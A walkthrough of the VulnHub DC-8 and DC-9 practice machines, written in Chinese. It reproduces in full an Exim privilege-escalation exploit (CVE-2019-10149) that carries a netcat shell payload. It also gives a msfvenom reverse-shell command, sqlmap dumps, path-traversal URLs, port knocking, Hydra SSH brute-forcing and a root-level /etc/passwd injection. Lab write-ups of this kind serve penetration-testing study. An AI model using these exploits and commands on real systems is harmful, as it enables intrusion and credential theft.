VulnHub-[DC-8-9]-系列通關手冊


DC8-通關手冊

DC-8是另一個專門構建的易受攻擊的實驗室,目的是在滲透測試領域積累經驗。

這個挑戰有點復雜,既是實際挑戰,又是關於在Linux上安裝和配置的兩因素身份驗證是否可以阻止Linux服務器被利用的“概念證明”。

由於在Twitter上詢問了有關雙重身份驗證和Linux的問題,也由於@ theart42的建議,最終導致了該挑戰的“概念驗證”部分。

這項挑戰的最終目標是繞過兩因素身份驗證,獲得root權限並讀取唯一的標志。

下載地址:https://www.vulnhub.com/entry/dc-8,367/

Drupal 7 SQL注入
john破解HASH
Drupal 7 后台編輯頁面 Getshell
eximSUID本地提權

拿到靶機先對它的 IP 進行端口掃描:

nmap -A -T4 192.168.1.147 

圖片

由上圖可見,它開放了 22(ssh)、80(http)兩個服務端口,而 NMAP 幫我們檢測出靶機的 CMS 是 Drupal 7!我尋思DC系列的靶機都是這個CMS?不廢話,我們先來看看它的web頁面:

http://192.168.1.147/ 

圖片

經過在頁面上的偵查,我發現有三個頁面引起了我的注意:

圖片

他們的參數是 http://192.168.1.147/?nid=1 ,看上去像是一個SQL注入點,於是我手工判斷是否存在注入,nid=2-1,結果它返回了nid=1 的頁面,說明它存在注入!

圖片

隨后掏出我的SQLMAP神器上去就是一頓梭哈獲取到了管理員的賬號和加密的HASH

sqlmap -u 192.168.1.147/?nid=2 -D d7db -T users -C name,pass --dump 
Database: d7db Table: users [2 entries] +-------+---------------------------------------------------------+ | name | pass | +-------+---------------------------------------------------------+ | admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z | | john | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF | +-------+---------------------------------------------------------+ 

圖片

緊接着我用 KALI 自帶的 john 開膛手傑克對他們兩個密碼一一破解!破解 admin 的 HASH 破解不出來:

圖片

破解 john 的密碼為 turtle

圖片

獲取到 john 的密碼后我用它的密碼登陸到了網站后台:

http://192.168.1.147/user 

圖片

登陸到網站的后台后我們需要獲取到webshell!我在網站的 Webform 找到了可以編輯 PHP 的頁面:

圖片

圖片

圖片

這個和 DC-7 靶機有點類似,都是通過后台編輯 PHP 頁面來獲取到 webshell!我首先是用 MSF 生成了一段 payload

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.128 lport=9999 -f raw 

圖片

然后開啟 MSF 監聽模式:

圖片

最后把剛剛 MSF 生成的 Payload 放到網站的 PHP 編輯頁面里:

圖片

保存后來到網站的 Contact Us 提交頁面:

圖片

這個時候 Metasploit 就成功反彈得到了一枚 shell

圖片

先讓它切換到 shell 環境 然后使用 Python 得到一個 bash shell:

python -c 'import pty;pty.spawn("/bin/bash")' 

圖片

獲取到 shell 之后,我切換到 /home 目錄發現只有一個用戶 dc8user,但是它里面沒有什么文件:

圖片

隨后我使用 find 命令來查找具有 SUID 權限的文件命令發現了一個 exim4

(PS:Exim是一個MTA(Mail Transfer Agent,郵件傳輸代理)服務器軟件,該軟件基於GPL協議開發,是一款開源軟件。 該軟件主要運行於類UNIX系統。)

find / -perm -u=s -type f 2>/dev/null 

圖片

然后我又看了看 exim 的版本發現它的版本是 4.8.9

exim --version 

圖片

得到了軟件的版本信息那么我們就可以去到 exploit-db 上去搜索有關於這個軟件版本的相關漏洞:

圖片

由上圖可見,它由兩個 POC,一個是基於 Metasploit 的,一個是其他的!在 OSCP 考試中 Metasploit 只能使用一次,所以說我們不到萬不得已盡量就不要使用 Metasploit!這是關於它的介紹和 EXP

#!/bin/bash # # raptor_exim_wiz - "The Return of the WIZard" LPE exploit # Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info> # # A flaw was found in Exim versions 4.87 to 4.91 (inclusive). # Improper validation of recipient address in deliver_message() # function in /src/deliver.c may lead to remote command execution. # (CVE-2019-10149) # # This is a local privilege escalation exploit for "The Return # of the WIZard" vulnerability reported by the Qualys Security # Advisory team. # # Credits: # Qualys Security Advisory team (kudos for your amazing research!) # Dennis 'dhn' Herrmann (/dev/tcp technique) # # Usage (setuid method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m setuid # Preparing setuid shell helper... # Delivering setuid payload... # [...] # Waiting 5 seconds... # -rwsr-xr-x 1 root raptor 8744 Jun 16 13:03 /tmp/pwned # # id # uid=0(root) gid=0(root) groups=0(root) # # Usage (netcat method): # $ id # uid=1000(raptor) gid=1000(raptor) groups=1000(raptor) [...] # $ ./raptor_exim_wiz -m netcat # Delivering netcat payload... # Waiting 5 seconds... # localhost [127.0.0.1] 31337 (?) open # id # uid=0(root) gid=0(root) groups=0(root) # # Vulnerable platforms: # Exim 4.87 - 4.91 # # Tested against: # Exim 4.89 on Debian GNU/Linux 9 (stretch) [exim-4.89.tar.xz] # METHOD="setuid" # default method PAYLOAD_SETUID='${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fpwned\x3bchmod\t4755\t\x2ftmp\x2fpwned\x22}}@localhost' PAYLOAD_NETCAT='${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t31337\t-e\t\x2fbin\x2fsh\x22}}@localhost' # usage instructions function usage() { echo "$0 [-m METHOD]" echo echo "-m setuid : use the setuid payload (default)" echo "-m netcat : use the netcat payload" echo exit 1 } # payload delivery function exploit() { # connect to localhost:25 exec 3<>/dev/tcp/localhost/25 # deliver the payload read -u 3 && echo $REPLY echo "helo localhost" >&3 read -u 3 && echo $REPLY echo "mail from:<>" >&3 read -u 3 && echo $REPLY echo "rcpt to:<$PAYLOAD>" >&3 read -u 3 && echo $REPLY echo "data" >&3 read -u 3 && echo $REPLY for i in {1..31} do echo "Received: $i" >&3 done echo "." >&3 read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY } # print banner echo echo 'raptor_exim_wiz - "The Return of the WIZard" LPE exploit' echo 'Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>' echo # parse command line while [ ! -z "$1" ]; do case $1 in -m) shift; METHOD="$1"; shift;; * ) usage ;; esac done if [ -z $METHOD ]; then usage fi # setuid method if [ $METHOD = "setuid" ]; then # prepare a setuid shell helper to circumvent bash checks echo "Preparing setuid shell helper..." echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" >/tmp/pwned.c gcc -o /tmp/pwned /tmp/pwned.c 2>/dev/null if [ $? -ne 0 ]; then echo "Problems compiling setuid shell helper, check your gcc." echo "Falling back to the /bin/sh method." cp /bin/sh /tmp/pwned fi echo # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_SETUID exploit echo # wait for the magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 ls -l /tmp/pwned /tmp/pwned # netcat method elif [ $METHOD = "netcat" ]; then # select and deliver the payload echo "Delivering $METHOD payload..." PAYLOAD=$PAYLOAD_NETCAT exploit echo # wait for the magic to happen and spawn our shell echo "Waiting 5 seconds..." sleep 5 nc -v 127.0.0.1 31337 # print help else usage fi 

圖片

然后我吧 exp 復制到了 root.sh 里,當然你也可以吧這個 exp 下載到本地,再由本地上傳到靶機服務器里,但是我嫌它麻煩,我直接 vi 編輯進去就可以了:

圖片

一切就緒之后先給它一個可執行的權限:

chmod 777 root.sh

圖片

按照腳本的提示運行 root.sh :

./root.sh -m netcat

圖片

然后 KALI 監聽 4444 端口獲取到一枚 root 權限的 shell:

圖片

最終也是在 /root 目錄下獲取到了 Flag

DC9-通關手冊

DC-9是 DC 系列的最后一個靶機了,這項挑戰的最終目標是扎根並讀取唯一的標志。

這個靶機有點意思,是通過頻繁的爆破SSH最終通過寫入用戶到 passwd 提權才拿到的Flag。

下載地址:https://www.vulnhub.com/entry/dc-9,412/

SQL注入獲取賬號密碼
LFI本地文件包含漏洞
knockd的保護SSH機制
繞過knockd限制暴力破解SSH
寫入文件到passwd提權

獲取到靶機 IP 后先對它進行端口掃描看看它開放了那些服務:

nmap -A -T4 192.168.1.148 

圖片

可以看到,靶機只開放了 80(http),而22(ssh)被過濾了!應該是做了防護!我們先來看看它的 WEB 服務吧:

圖片

通過查看它的頁面我發現它的頁面上有一些用戶的信息:

圖片

還有搜索的提交頁面:

圖片

圖片

既然它搜索可以查詢到相應到信息,那么說明它吧我們的條件帶入數據庫里查詢了,很有可能會存在SQL注入!

按照我的思路,不管他三七二十一直接丟到Sqlmap里一頓梭哈!我先是使用Burp抓包:

圖片

把抓到的數據包保存到本地 post.txt 文件里:

圖片

最后丟到Sqlmap里跑發現是存在注入的:

圖片

圖片

最終獲取到網站后台的管理員賬號和密碼HASH

sqlmap -r post.txt -D Staff -T Users -C Username,Password --dump 

圖片

通過解密得到了賬號 admin 的密碼為 transorbital1

圖片

獲取到賬號和密碼后登陸到了網站到頁面,其中發現了 manage.php 頁面底部有一個提示引起了我的注意:File does not exist

圖片

翻譯過來就是文件未找到!這個時候腦子里第一時間想到的就是 LFI!后來通過我 FUZZ 發現真的是存在本地文件包含漏洞:

http://192.168.1.148/manage.php?file=../../../../../../etc/passwd 

圖片

可以看到我們可以查看 passwd 文件,而之前我們通過sqlmap獲取到了一堆賬號和密碼,而那些賬號和 passwd 里的賬號是一樣的!那么我們就可以利用獲取到的賬號和密碼挨個去碰撞看看能不能登陸到它的 SSH

我先是把賬號和密碼保存到了 user 和 pass 里:

圖片

圖片

保存完后我嘗試使用 Hydra 去爆破發現它連接請求被拒絕了:

hydra -L user -P pass 192.168.1.148 ssh 

圖片

到了這里我們要知道關於 SSH 的三個機制:

如果需要遠程訪問計算機並啟用了 Secure Shell (SSH) 連接,黑客就會嘗試突破您的防線並控制您的計算機,您必須接受這個事實。盡管不能保證計算機不會被 “黑客” 占領,但是一些簡單的解決方案有助於保護 SSH,可以讓攻擊困難一些。本文討論三種技術:

1、把 SSH 的標准端口改為不常用的值並增強 SSH 配置,從而擋住最簡單的攻擊。 2、定義有限的用戶列表,只允許這些用戶登錄。 3、完全隱藏允許 SSH 訪問的事實,要求根據特殊的 “敲門” 序列識別有效用戶。 

首先進行排除法我們剛開始就對它進行端口掃描了,它只開放了兩個端口,由此判斷它的端口沒有改變,排除一!

其次我們通過 LFI 發現 passwd 文件讓我們得到了 SSH 的用戶名,由此判斷它的用戶名是對的,排除二!

那么估計就是 SSH 被某些手段所隱藏了,我們需要根據特殊的“敲門”才能登陸到用戶!
這個時候我通過查看了下面這篇文章找到了原因:

https://zhuanlan.zhihu.com/p/43716885

如果你有一台公眾可訪問的服務器,黑客可以輕松掃描其IP地址,查找服務器上的開放端口(尤其是用於SSH的端口22)。將服務器隱藏起來、不讓黑客看見的一種方法是使用knockdknockd是一種端口試探服務器工具。它偵聽以太網或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客戶軟件通過向服務器上的端口發送TCP或數據包來啟動端口命中。

既然知道了原理之后我們就知道了如何去應對它了!借助偶像豬豬俠的話:只有對原理了然如心,你才能突破更多的限制!

如果目標服務器上按照了 knockd ,那么默認的配置文件就存放在 /etc/knockd.conf 里!那么我們就可以利用 LFI 去查看這個:

http://192.168.1.148/manage.php?file=../../../../../..//etc/knockd.conf 
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 

這個時候我們就得到了要“敲門”的序列號為:746984759842!緊接着我在 KALI 中安裝了 knockd

apt-get install knockd

圖片

安裝完后我們只需要使用 knockd 進行“敲門”就可以使用 hydra 九頭蛇爆破了:

knock 192.168.1.148 7469 8475 9842 

圖片

hydra -L user -P pass 192.168.1.148 ssh

圖片

這個時候就成功爆破出三個用戶:

[22][ssh] host: 192.168.1.148 login: janitor password: Ilovepeepee [22][ssh] host: 192.168.1.148 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.1.148 login: joeyt password: Passw0rd 

登陸到 janitor 用戶后使用一些常規的提權操作后無果,但是我發現了一個隱藏目錄,里面存放着一些密碼:

BamBam01 Passw0rd smellycats P0Lic#10-4 B4-Tru3-001 4uGU5T-NiGHts 

圖片

很顯然了作者想讓我們挨個去登陸這些用戶才能獲取到 root !我再次把收集到的密碼放到 pass 文件里然后再次爆破:

圖片

回爐再造之后我們又得到了一個用戶:

[22][ssh] host: 192.168.1.148 login: fredf password: B4-Tru3-001 

登陸成功后我查看有沒有那些 sudo 權限的命令發現了一個 test

圖片

嘗試 sudo 運行這個文件發現它是一個 python 腳本:

圖片

隨后找到了這個文件所在的目錄:

find / -name test.py 2>/dev/null

/opt/devstuff/test.py

圖片

查看 test.py 文件得到了它的代碼:

#!/usr/bin/python import sys if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1) else : f = open(sys.argv[1], "r") output = (f.read()) f = open(sys.argv[2], "a") f.write(output) f.close() 

圖片

通過代碼審計它這個腳本是通過 sys 模塊,它是一個簡單的數據追加程序。它將使用2個文件作為參數,然后將第一個文件內容附加第二個文件中。

關於 sys 模塊大家可以看看這篇文章:https://blog.csdn.net/anndy_/article/details/76824540

最后我們通過 openssl 生成了一個賬號密碼然后寫入到了 passwd :

關於 openssl 可以看看這篇文章:https://www.jianshu.com/p/e311a6537467

openssl passwd -1 -salt saul 123456 # 生成 passwd 密碼的 hash 值 

圖片

echo 'saul:$1$saul$HqxyWB6MwTZbm/LiAFFZX.:0:0::/root:/bin/bash' >> /tmp/raj # 在 tmp 創建一個 raj 文件,里面是我們的密碼 sudo ./test /tmp/raj /etc/passwd # 運行 test 文件 把 raj 里的內容追加到 /etc/passwd 里 su saul # 切換用戶到 saul 成功獲取 root 權限 

圖片

最終也是在 /root 目錄下拿到了 Flag 文件!

至此 DC 系列靶機已經完結~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM